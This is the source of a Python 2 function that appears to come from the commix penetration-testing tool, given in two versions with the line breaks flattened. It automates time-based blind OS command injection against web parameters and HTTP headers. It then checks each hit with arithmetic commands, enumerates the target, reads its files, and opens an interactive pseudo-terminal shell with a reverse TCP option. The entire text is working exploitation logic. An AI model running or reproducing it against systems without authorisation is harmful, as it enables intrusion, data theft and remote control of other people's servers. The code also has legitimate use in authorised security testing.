def tb_injection_handler(url, delay, filename, http_request_method, url_time_response): counter = 1 num_of_chars = 1 vp_flag = True no_result = True is_encoded = False is_vulnerable = False again_warning = True false_positive_warning = False export_injection_info = False how_long = 0 how_long_statistic = 0 injection_type = "Blind Command Injection" technique = "time-based injection technique" if menu.options.verbose: print settings.INFO_SIGN + "Testing the " + technique + "... " # Check if defined "--maxlen" option. if menu.options.maxlen: maxlen = settings.MAXLEN # Check if defined "--url-reload" option. if menu.options.url_reload == True: print Fore.YELLOW + settings.WARNING_SIGN + "The '--url-reload' option is not available in " + technique + "." + Style.RESET_ALL # Calculate all possible combinations total = (len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES) - len(settings.JUNK_COMBINATION)) for prefix in settings.PREFIXES: for suffix in settings.SUFFIXES: for separator in settings.SEPARATORS: # If a previous session is available. if settings.LOAD_SESSION and session_handler.notification( url, technique): cmd = shell = "" url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation( url, http_request_method) settings.FOUND_HOW_LONG = how_long settings.FOUND_DIFF = how_long - delay if settings.RETEST == True: settings.RETEST = False from src.core.injections.results_based.techniques.classic import cb_handler cb_handler.exploitation(url, delay, filename, http_request_method) if not settings.LOAD_SESSION: num_of_chars = num_of_chars + 1 # Check for bad combination of prefix and separator combination = prefix + separator if combination in settings.JUNK_COMBINATION: prefix = "" # Define alter shell alter_shell = menu.options.alter_shell # Change TAG on every request to prevent false-positive results. TAG = ''.join( random.choice(string.ascii_uppercase) for num_of_chars in range(6)) tag_length = len(TAG) + 4 for output_length in range(1, int(tag_length)): try: if alter_shell: # Time-based decision payload (check if host is vulnerable). payload = tb_payloads.decision_alter_shell( separator, TAG, output_length, delay, http_request_method) else: # Time-based decision payload (check if host is vulnerable). payload = tb_payloads.decision( separator, TAG, output_length, delay, http_request_method) # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) if menu.options.base64: payload = base64.b64encode(payload) # Check if defined "--verbose" option. if menu.options.verbose: print Fore.GREY + settings.PAYLOAD_SIGN + payload.replace( "\n", "\\n") + Style.RESET_ALL # Cookie Injection if settings.COOKIE_INJECTION == True: # Check if target host is vulnerable to cookie injection. vuln_parameter = parameters.specify_cookie_parameter( menu.options.cookie) how_long = tb_injector.cookie_injection_test( url, vuln_parameter, payload) # User-Agent Injection elif settings.USER_AGENT_INJECTION == True: # Check if target host is vulnerable to user-agent injection. vuln_parameter = parameters.specify_user_agent_parameter( menu.options.agent) how_long = tb_injector.user_agent_injection_test( url, vuln_parameter, payload) # Referer Injection elif settings.REFERER_INJECTION == True: # Check if target host is vulnerable to referer injection. vuln_parameter = parameters.specify_referer_parameter( menu.options.referer) how_long = tb_injector.referer_injection_test( url, vuln_parameter, payload) # Custom HTTP header Injection elif settings.CUSTOM_HEADER_INJECTION == True: # Check if target host is vulnerable to custom http header injection. vuln_parameter = parameters.specify_custom_header_parameter( settings.INJECT_TAG) how_long = tb_injector.custom_header_injection_test( url, vuln_parameter, payload) else: # Check if target host is vulnerable. how_long, vuln_parameter = tb_injector.injection_test( payload, http_request_method, url) # Statistical analysis in time responses. how_long_statistic = how_long_statistic + how_long # Reset the how_long_statistic counter if output_length == tag_length - 1: how_long_statistic = 0 # Injection percentage calculation percent = ((num_of_chars * 100) / total) float_percent = "{0:.1f}".format( round(((num_of_chars * 100) / (total * 1.0)), 2)) if percent == 100 and no_result == True: if not menu.options.verbose: percent = Fore.RED + "FAILED" + Style.RESET_ALL else: percent = "" else: if (url_time_response == 0 and (how_long - delay) >= 0) or \ (url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \ (url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) : # Time relative false positive fixation. false_positive_fixation = False if len(TAG) == output_length: # Windows targets. if settings.TARGET_OS == "win": if how_long > (how_long_statistic / output_length): false_positive_fixation = True else: false_positive_warning = True # Unix-like targets. else: if delay == 1 and (how_long_statistic == delay) or \ delay == 1 and (how_long_statistic == how_long) or \ delay > 1 and (how_long_statistic == (output_length + delay)) and \ how_long == delay + 1: false_positive_fixation = True else: false_positive_warning = True # Identified false positive warning message. if false_positive_warning and again_warning: again_warning = False warning_msg = settings.WARNING_SIGN + "Unexpected time delays have been identified due to unstable " warning_msg += "requests. This behavior which may lead to false-positive results." sys.stdout.write("\r" + Fore.YELLOW + warning_msg + Style.RESET_ALL) print "" # Check if false positive fixation is True. if false_positive_fixation: false_positive_fixation = False settings.FOUND_HOW_LONG = how_long settings.FOUND_DIFF = how_long - delay randv1 = random.randrange(0, 1) randv2 = random.randrange(1, 2) randvcalc = randv1 + randv2 if settings.TARGET_OS == "win": if alter_shell: cmd = settings.WIN_PYTHON_DIR + "python.exe -c \"print (" + str( randv1) + " + " + str( randv2) + ")\"" else: cmd = "powershell.exe -InputFormat none write (" + str( randv1) + " + " + str( randv2) + ")" else: cmd = "(" + str( randv1) + " + " + str( randv2) + ")" # Check for false positive resutls how_long, output = tb_injector.false_positive_check( separator, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, randvcalc, alter_shell, how_long, url_time_response) if (url_time_response == 0 and (how_long - delay) >= 0) or \ (url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \ (url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) : if str(output) == str( randvcalc) and len( TAG) == output_length: is_vulnerable = True how_long_statistic = 0 if not menu.options.verbose: percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL else: percent = "" else: break # False positive else: if not menu.options.verbose: percent = str(float_percent) + "%" sys.stdout.write( "\r" + settings.INFO_SIGN + "Testing the " + technique + "... " + "[ " + percent + " ]") sys.stdout.flush() continue else: if not menu.options.verbose: percent = str(float_percent) + "%" sys.stdout.write("\r" + settings.INFO_SIGN + "Testing the " + technique + "... " + "[ " + percent + " ]") sys.stdout.flush() continue if not menu.options.verbose: sys.stdout.write("\r" + settings.INFO_SIGN + "Testing the " + technique + "... " + "[ " + percent + " ]") sys.stdout.flush() except KeyboardInterrupt: raise except SystemExit: raise except: break break # Yaw, got shellz! # Do some magic tricks! if (url_time_response == 0 and (how_long - delay) >= 0) or \ (url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \ (url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) : if (len(TAG) == output_length) and \ (is_vulnerable == True or settings.LOAD_SESSION and is_vulnerable == "True"): found = True no_result = False if settings.LOAD_SESSION: is_vulnerable = False if settings.COOKIE_INJECTION == True: header_name = " Cookie" found_vuln_parameter = vuln_parameter the_type = " HTTP header" elif settings.USER_AGENT_INJECTION == True: header_name = " User-Agent" found_vuln_parameter = "" the_type = " HTTP header" elif settings.REFERER_INJECTION == True: header_name = " Referer" found_vuln_parameter = "" the_type = " HTTP header" elif settings.CUSTOM_HEADER_INJECTION == True: header_name = " " + settings.CUSTOM_HEADER_NAME found_vuln_parameter = "" the_type = " HTTP header" else: header_name = "" the_type = " parameter" if http_request_method == "GET": found_vuln_parameter = parameters.vuln_GET_param( url) else: found_vuln_parameter = vuln_parameter if len(found_vuln_parameter) != 0: found_vuln_parameter = " '" + Style.UNDERLINE + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" # Print the findings to log file. if export_injection_info == False: export_injection_info = logs.add_type_and_technique( export_injection_info, filename, injection_type, technique) if vp_flag == True: vp_flag = logs.add_parameter( vp_flag, filename, http_request_method, vuln_parameter, payload) logs.update_payload(filename, counter, payload) counter = counter + 1 if not settings.LOAD_SESSION: print "" # Print the findings to terminal. print Style.BRIGHT + "(!) The (" + http_request_method + ")" + found_vuln_parameter + header_name + the_type + " is vulnerable to " + injection_type + "." + Style.RESET_ALL print " (+) Type : " + Fore.YELLOW + Style.BRIGHT + injection_type + Style.RESET_ALL + "" print " (+) Technique : " + Fore.YELLOW + Style.BRIGHT + technique.title( ) + Style.RESET_ALL + "" print " (+) Payload : " + Fore.YELLOW + Style.BRIGHT + re.sub( "%20", " ", payload.replace( "\n", "\\n")) + Style.RESET_ALL if not settings.LOAD_SESSION: shell = "" session_handler.injection_point_importation( url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable) is_vulnerable = False else: settings.LOAD_SESSION = False new_line = False # Check for any enumeration options. if settings.ENUMERATION_DONE == True: while True: enumerate_again = raw_input( "\n" + settings.QUESTION_SIGN + "Do you want to enumerate again? [Y/n/q] > " ).lower() if enumerate_again in settings.CHOICE_YES: tb_enumeration.do_check( separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) print "" break elif enumerate_again in settings.CHOICE_NO: new_line = True break elif enumerate_again in settings.CHOICE_QUIT: sys.exit(0) else: if enumerate_again == "": enumerate_again = "enter" print Back.RED + settings.ERROR_SIGN + "'" + enumerate_again + "' is not a valid answer." + Style.RESET_ALL + "\n" pass else: if menu.enumeration_options(): tb_enumeration.do_check( separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) print "" # Check for any system file access options. if settings.FILE_ACCESS_DONE == True: while True: file_access_again = raw_input( settings.QUESTION_SIGN + "Do you want to access files again? [Y/n/q] > " ).lower() if file_access_again in settings.CHOICE_YES: tb_file_access.do_check( separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) break elif file_access_again in settings.CHOICE_NO: if not new_line: new_line = True break elif file_access_again in settings.CHOICE_QUIT: sys.exit(0) else: if file_access_again == "": file_access_again = "enter" print Back.RED + settings.ERROR_SIGN + "'" + file_access_again + "' is not a valid answer." + Style.RESET_ALL + "\n" pass else: # if not menu.enumeration_options() and not menu.options.os_cmd: # print "" tb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) # Check if defined single cmd. if menu.options.os_cmd: cmd = menu.options.os_cmd check_how_long, output = tb_enumeration.single_os_cmd_exec( separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) # Export injection result tb_injector.export_injection_results( cmd, separator, output, check_how_long) sys.exit(0) if not new_line: print "" # Pseudo-Terminal shell go_back = False go_back_again = False while True: if go_back == True: break gotshell = raw_input( settings.QUESTION_SIGN + "Do you want a Pseudo-Terminal? [Y/n/q] > " ).lower() if gotshell in settings.CHOICE_YES: print "" print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)" if readline_error: checks.no_readline_module() while True: try: # Tab compliter if not readline_error: readline.set_completer( menu.tab_completer) # MacOSX tab compliter if getattr( readline, '__doc__', '' ) is not None and 'libedit' in getattr( readline, '__doc__', ''): readline.parse_and_bind( "bind ^I rl_complete") # Unix tab compliter else: readline.parse_and_bind( "tab: complete") cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) cmd = checks.escaped_cmd(cmd) if cmd.lower( ) in settings.SHELL_OPTIONS: os_shell_option = checks.check_os_shell_options( cmd.lower(), technique, go_back, no_result) if os_shell_option == False: if no_result == True: return False else: return True elif os_shell_option == "quit": sys.exit(0) elif os_shell_option == "back": go_back = True break elif os_shell_option == "os_shell": print Fore.YELLOW + settings.WARNING_SIGN + "You are already into an 'os_shell' mode." + Style.RESET_ALL + "\n" elif os_shell_option == "reverse_tcp": settings.REVERSE_TCP = True # Set up LHOST / LPORT for The reverse TCP connection. reverse_tcp.configure_reverse_tcp( ) if settings.REVERSE_TCP == False: continue while True: if settings.LHOST and settings.LPORT in settings.SHELL_OPTIONS: result = checks.check_reverse_tcp_options( settings.LHOST) else: cmd = reverse_tcp.reverse_tcp_options( ) result = checks.check_reverse_tcp_options( cmd) if result != None: if result == 0: return False elif result == 1 or result == 2: go_back_again = True settings.REVERSE_TCP = False break # Command execution results. from src.core.injections.results_based.techniques.classic import cb_injector separator = checks.time_based_separators( separator, http_request_method) whitespace = settings.WHITESPACES[ 0] response = cb_injector.injection( separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # Evaluate injection results. shell = cb_injector.injection_results( response, TAG) # Export injection result if menu.options.verbose: print "" print Back.RED + settings.ERROR_SIGN + "The reverse TCP connection has been failed!" + Style.RESET_ALL else: pass else: print "" if menu.options.ignore_session or \ session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # The main command injection exploitation. check_how_long, output = tb_injector.injection( separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) # Export injection result tb_injector.export_injection_results( cmd, separator, output, check_how_long) if not menu.options.ignore_session: session_handler.store_cmd( url, cmd, output, vuln_parameter) else: output = session_handler.export_stored_cmd( url, cmd, vuln_parameter) print Fore.GREEN + Style.BRIGHT + output + Style.RESET_ALL print "" except KeyboardInterrupt: raise except SystemExit: raise elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector( technique, go_back) == True: break else: if no_result == True: return False else: return True elif gotshell in settings.CHOICE_QUIT: sys.exit(0) else: if gotshell == "": gotshell = "enter" print Back.RED + settings.ERROR_SIGN + "'" + gotshell + "' is not a valid answer." + Style.RESET_ALL + "\n" pass #break if no_result == True: print "" return False else: sys.stdout.write("\r") sys.stdout.flush()
def tb_injection_handler(url, timesec, filename, http_request_method, url_time_response): counter = 1 num_of_chars = 1 vp_flag = True no_result = True is_encoded = False possibly_vulnerable = False false_positive_warning = False export_injection_info = False how_long = 0 injection_type = "blind OS command injection" technique = "time-based command injection technique" if settings.VERBOSITY_LEVEL >= 1: info_msg = "Testing the " + "(" + injection_type.split( " ")[0] + ") " + technique + "... " print settings.print_info_msg(info_msg) # Check if defined "--maxlen" option. if menu.options.maxlen: maxlen = settings.MAXLEN # Check if defined "--url-reload" option. if menu.options.url_reload == True: warn_msg = "The '--url-reload' option is not available in " + technique + "." print settings.print_warning_msg(warn_msg) #whitespace = checks.check_whitespaces() # Calculate all possible combinations total = len(settings.WHITESPACE) * len(settings.PREFIXES) * len( settings.SEPARATORS) * len(settings.SUFFIXES) for whitespace in settings.WHITESPACE: for prefix in settings.PREFIXES: for suffix in settings.SUFFIXES: for separator in settings.SEPARATORS: # Check injection state settings.DETECTION_PHASE = True settings.EXPLOITATION_PHASE = False # If a previous session is available. how_long_statistic = [] if settings.LOAD_SESSION and session_handler.notification( url, technique, injection_type): try: settings.TIME_BASED_STATE = True cmd = shell = "" url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation( url, http_request_method) checks.check_for_stored_tamper(payload) settings.FOUND_HOW_LONG = how_long settings.FOUND_DIFF = how_long - timesec except TypeError: err_msg = "An error occurred while accessing session file ('" err_msg += settings.SESSION_FILE + "'). " err_msg += "Use the '--flush-session' option." print settings.print_critical_msg(err_msg) raise SystemExit() if settings.RETEST == True: settings.RETEST = False from src.core.injections.results_based.techniques.classic import cb_handler cb_handler.exploitation(url, timesec, filename, http_request_method) if not settings.LOAD_SESSION: num_of_chars = num_of_chars + 1 # Check for bad combination of prefix and separator combination = prefix + separator if combination in settings.JUNK_COMBINATION: prefix = "" # Define alter shell alter_shell = menu.options.alter_shell # Change TAG on every request to prevent false-positive results. TAG = ''.join( random.choice(string.ascii_uppercase) for num_of_chars in range(6)) tag_length = len(TAG) + 4 for output_length in range(1, int(tag_length)): try: if alter_shell: # Time-based decision payload (check if host is vulnerable). payload = tb_payloads.decision_alter_shell( separator, TAG, output_length, timesec, http_request_method) else: # Time-based decision payload (check if host is vulnerable). payload = tb_payloads.decision( separator, TAG, output_length, timesec, http_request_method) # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Whitespace fixation payload = payload.replace(" ", whitespace) # Perform payload modification payload = checks.perform_payload_modification( payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL == 1: payload_msg = payload.replace("\n", "\\n") print settings.print_payload(payload_msg) # Check if defined "--verbose" option. elif settings.VERBOSITY_LEVEL > 1: info_msg = "Generating a payload for injection..." print settings.print_info_msg(info_msg) payload_msg = payload.replace("\n", "\\n") sys.stdout.write( settings.print_payload(payload_msg) + "\n") # Cookie header injection if settings.COOKIE_INJECTION == True: # Check if target host is vulnerable to cookie header injection. vuln_parameter = parameters.specify_cookie_parameter( menu.options.cookie) how_long = tb_injector.cookie_injection_test( url, vuln_parameter, payload) # User-Agent HTTP header injection elif settings.USER_AGENT_INJECTION == True: # Check if target host is vulnerable to user-agent HTTP header injection. vuln_parameter = parameters.specify_user_agent_parameter( menu.options.agent) how_long = tb_injector.user_agent_injection_test( url, vuln_parameter, payload) # Referer HTTP header injection elif settings.REFERER_INJECTION == True: # Check if target host is vulnerable to referer HTTP header injection. vuln_parameter = parameters.specify_referer_parameter( menu.options.referer) how_long = tb_injector.referer_injection_test( url, vuln_parameter, payload) # Host HTTP header injection elif settings.HOST_INJECTION == True: # Check if target host is vulnerable to host HTTP header injection. vuln_parameter = parameters.specify_host_parameter( menu.options.host) how_long = tb_injector.host_injection_test( url, vuln_parameter, payload) # Custom HTTP header Injection elif settings.CUSTOM_HEADER_INJECTION == True: # Check if target host is vulnerable to custom http header injection. vuln_parameter = parameters.specify_custom_header_parameter( settings.INJECT_TAG) how_long = tb_injector.custom_header_injection_test( url, vuln_parameter, payload) else: # Check if target host is vulnerable. how_long, vuln_parameter = tb_injector.injection_test( payload, http_request_method, url) # Statistical analysis in time responses. how_long_statistic.append(how_long) # Injection percentage calculation percent = ((num_of_chars * 100) / total) float_percent = "{0:.1f}".format( round( ((num_of_chars * 100) / (total * 1.0)), 2)) if percent == 100 and no_result == True: if not settings.VERBOSITY_LEVEL >= 1: percent = Fore.RED + "FAILED" + Style.RESET_ALL else: percent = "" else: if (url_time_response == 0 and (how_long - timesec) >= 0) or \ (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \ (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) : # Time relative false positive fixation. false_positive_fixation = False if len(TAG) == output_length: # Simple statical analysis statistical_anomaly = True if len(set(how_long_statistic[0:5]) ) == 1: if max(xrange( len(how_long_statistic) ), key=lambda x: how_long_statistic[ x]) == len(TAG) - 1: statistical_anomaly = False how_long_statistic = [] if timesec <= how_long and not statistical_anomaly: false_positive_fixation = True else: false_positive_warning = True # Identified false positive warning message. if false_positive_warning: warn_msg = "Unexpected time delays have been identified due to unstable " warn_msg += "requests. This behavior may lead to false-positive results.\n" sys.stdout.write( "\r" + settings.print_warning_msg( warn_msg)) while True: if not menu.options.batch: question_msg = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > " sys.stdout.write( settings. print_question_msg( question_msg)) proceed_option = sys.stdin.readline( ).replace("\n", "").lower() else: proceed_option = "" if len(proceed_option) == 0: proceed_option = "c" if proceed_option.lower( ) in settings.CHOICE_PROCEED: if proceed_option.lower( ) == "s": false_positive_fixation = False raise elif proceed_option.lower( ) == "c": timesec = timesec + 1 false_positive_fixation = True break elif proceed_option.lower( ) == "q": raise SystemExit() else: err_msg = "'" + proceed_option + "' is not a valid answer." print settings.print_error_msg( err_msg) pass # Check if false positive fixation is True. if false_positive_fixation: false_positive_fixation = False settings.FOUND_HOW_LONG = how_long settings.FOUND_DIFF = how_long - timesec if false_positive_warning: time.sleep(1) randv1 = random.randrange(1, 10) randv2 = random.randrange(1, 10) randvcalc = randv1 + randv2 if settings.TARGET_OS == "win": if alter_shell: cmd = settings.WIN_PYTHON_DIR + "python.exe -c \"print (" + str( randv1) + " + " + str( randv2) + ")\"" else: cmd = "powershell.exe -InputFormat none write (" + str( randv1) + " + " + str( randv2) + ")" else: cmd = "expr " + str( randv1) + " %2B " + str( randv2) + "" # Set the original delay time original_how_long = how_long # Check for false positive resutls how_long, output = tb_injector.false_positive_check( separator, TAG, cmd, whitespace, prefix, suffix, timesec, http_request_method, url, vuln_parameter, randvcalc, alter_shell, how_long, url_time_response) if (url_time_response == 0 and (how_long - timesec) >= 0) or \ (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \ (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) : if str(output) == str( randvcalc) and len( TAG ) == output_length: possibly_vulnerable = True how_long_statistic = 0 if not settings.VERBOSITY_LEVEL >= 1: percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL else: percent = "" else: break # False positive else: if not settings.VERBOSITY_LEVEL >= 1: percent = str( float_percent) + "%" info_msg = "Testing the " + "(" + injection_type.split( " " )[0] + ") " + technique + "... " + "[ " + percent + " ]" sys.stdout.write( "\r" + settings.print_info_msg( info_msg)) sys.stdout.flush() continue else: if not settings.VERBOSITY_LEVEL >= 1: percent = str(float_percent) + "%" info_msg = "Testing the " + "(" + injection_type.split( " " )[0] + ") " + technique + "... " + "[ " + percent + " ]" sys.stdout.write( "\r" + settings.print_info_msg( info_msg)) sys.stdout.flush() continue if not settings.VERBOSITY_LEVEL >= 1: info_msg = "Testing the " + "(" + injection_type.split( " " )[0] + ") " + technique + "... " + "[ " + percent + " ]" sys.stdout.write( "\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() except KeyboardInterrupt: raise except SystemExit: raise except EOFError: err_msg = "Exiting, due to EOFError." print settings.print_error_msg(err_msg) raise except: percent = ((num_of_chars * 100) / total) float_percent = "{0:.1f}".format( round( ((num_of_chars * 100) / (total * 1.0)), 2)) if str(float_percent) == "100.0": if no_result == True: if not settings.VERBOSITY_LEVEL >= 1: percent = Fore.RED + "FAILED" + Style.RESET_ALL info_msg = "Testing the " + "(" + injection_type.split( " " )[0] + ") " + technique + "... " + "[ " + percent + " ]" sys.stdout.write( "\r" + settings.print_info_msg( info_msg)) sys.stdout.flush() else: percent = "" else: percent = str(float_percent) + "%" print "" # Print logs notification message logs.logs_notification(filename) #raise else: percent = str(float_percent) + "%" break # Yaw, got shellz! # Do some magic tricks! if (url_time_response == 0 and (how_long - timesec) >= 0) or \ (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \ (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) : if (len(TAG) == output_length) and \ (possibly_vulnerable == True or settings.LOAD_SESSION and int(is_vulnerable) == menu.options.level): found = True no_result = False # Check injection state settings.DETECTION_PHASE = False settings.EXPLOITATION_PHASE = True if settings.LOAD_SESSION: possibly_vulnerable = False if settings.COOKIE_INJECTION == True: header_name = " cookie" found_vuln_parameter = vuln_parameter the_type = " parameter" elif settings.USER_AGENT_INJECTION == True: header_name = " User-Agent" found_vuln_parameter = "" the_type = " HTTP header" elif settings.REFERER_INJECTION == True: header_name = " Referer" found_vuln_parameter = "" the_type = " HTTP header" elif settings.CUSTOM_HEADER_INJECTION == True: header_name = " " + settings.CUSTOM_HEADER_NAME found_vuln_parameter = "" the_type = " HTTP header" else: header_name = "" the_type = " parameter" if http_request_method == "GET": found_vuln_parameter = parameters.vuln_GET_param( url) else: found_vuln_parameter = vuln_parameter if len(found_vuln_parameter) != 0: found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" # Print the findings to log file. if export_injection_info == False: export_injection_info = logs.add_type_and_technique( export_injection_info, filename, injection_type, technique) if vp_flag == True: vp_flag = logs.add_parameter( vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) logs.update_payload(filename, counter, payload) counter = counter + 1 if not settings.LOAD_SESSION: if not settings.VERBOSITY_LEVEL >= 1: print "" else: checks.total_of_requests() # Print the findings to terminal. success_msg = "The" if len(found_vuln_parameter ) > 0 and not "cookie" in header_name: success_msg += " " + http_request_method success_msg += ('', ' (JSON)')[ settings.IS_JSON] + ('', ' (SOAP/XML)')[ settings.IS_XML] + the_type + header_name success_msg += found_vuln_parameter + " seems injectable via " success_msg += "(" + injection_type.split( " ")[0] + ") " + technique + "." print settings.print_success_msg(success_msg) print settings.SUB_CONTENT_SIGN + "Payload: " + str( checks.url_decode(payload)) + Style.RESET_ALL # Export session if not settings.LOAD_SESSION: shell = "" session_handler.injection_point_importation( url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, original_how_long, output_length, is_vulnerable=menu.options.level) #possibly_vulnerable = False else: settings.LOAD_SESSION = False new_line = False # Check for any enumeration options. if settings.ENUMERATION_DONE == True: while True: if not menu.options.batch: question_msg = "Do you want to enumerate again? [Y/n] > " enumerate_again = raw_input( "\n" + settings.print_question_msg( question_msg)).lower() else: enumerate_again = "" if len(enumerate_again) == 0: enumerate_again = "y" if enumerate_again in settings.CHOICE_YES: tb_enumeration.do_check( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) print "" break elif enumerate_again in settings.CHOICE_NO: new_line = True break elif enumerate_again in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + enumerate_again + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: if menu.enumeration_options(): tb_enumeration.do_check( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) print "" # Check for any system file access options. if settings.FILE_ACCESS_DONE == True: print "" while True: if not menu.options.batch: question_msg = "Do you want to access files again? [Y/n] > " sys.stdout.write( settings.print_question_msg( question_msg)) file_access_again = sys.stdin.readline( ).replace("\n", "").lower() else: file_access_again = "" if len(file_access_again) == 0: file_access_again = "y" if file_access_again in settings.CHOICE_YES: tb_file_access.do_check( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) break elif file_access_again in settings.CHOICE_NO: if not new_line: new_line = True break elif file_access_again in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + file_access_again + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: # if not menu.enumeration_options() and not menu.options.os_cmd: # print "" tb_file_access.do_check( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) # Check if defined single cmd. if menu.options.os_cmd: cmd = menu.options.os_cmd check_how_long, output = tb_enumeration.single_os_cmd_exec( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) # Export injection result tb_injector.export_injection_results( cmd, separator, output, check_how_long) print "" logs.print_logs_notification(filename, url) raise SystemExit() if not new_line: print "" # Pseudo-Terminal shell go_back = False go_back_again = False while True: if go_back == True: break if not menu.options.batch: question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > " sys.stdout.write( settings.print_question_msg( question_msg)) gotshell = sys.stdin.readline().replace( "\n", "").lower() else: gotshell = "" if len(gotshell) == 0: gotshell = "y" if gotshell in settings.CHOICE_YES: if not menu.options.batch: print "" print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)" if readline_error: checks.no_readline_module() while True: if false_positive_warning: warn_msg = "Due to unexpected time delays, it is highly " warn_msg += "recommended to enable the 'reverse_tcp' option.\n" sys.stdout.write( "\r" + settings.print_warning_msg( warn_msg)) false_positive_warning = False try: # Tab compliter if not readline_error: readline.set_completer( menu.tab_completer) # MacOSX tab compliter if getattr( readline, '__doc__', '' ) is not None and 'libedit' in getattr( readline, '__doc__', ''): readline.parse_and_bind( "bind ^I rl_complete") # Unix tab compliter else: readline.parse_and_bind( "tab: complete") cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) cmd = checks.escaped_cmd(cmd) if cmd.lower( ) in settings.SHELL_OPTIONS: go_back, go_back_again = shell_options.check_option( separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="") if go_back and go_back_again == False: break if go_back and go_back_again: return True else: if menu.options.ignore_session or \ session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # The main command injection exploitation. check_how_long, output = tb_injector.injection( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) # Export injection result tb_injector.export_injection_results( cmd, separator, output, check_how_long) if not menu.options.ignore_session: session_handler.store_cmd( url, cmd, output, vuln_parameter) else: output = session_handler.export_stored_cmd( url, cmd, vuln_parameter) print "\n" + Fore.GREEN + Style.BRIGHT + output + Style.RESET_ALL # Update logs with executed cmds and execution results. logs.executed_command( filename, cmd, output) print "" except KeyboardInterrupt: raise except SystemExit: raise except EOFError: err_msg = "Exiting, due to EOFError." print settings.print_error_msg( err_msg) raise elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector( technique, go_back) == True: break else: if no_result == True: return False else: return True elif gotshell in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + gotshell + "' is not a valid answer." print settings.print_error_msg(err_msg) pass break if no_result == True: if settings.VERBOSITY_LEVEL == 0: print "" return False else: sys.stdout.write("\r") sys.stdout.flush()
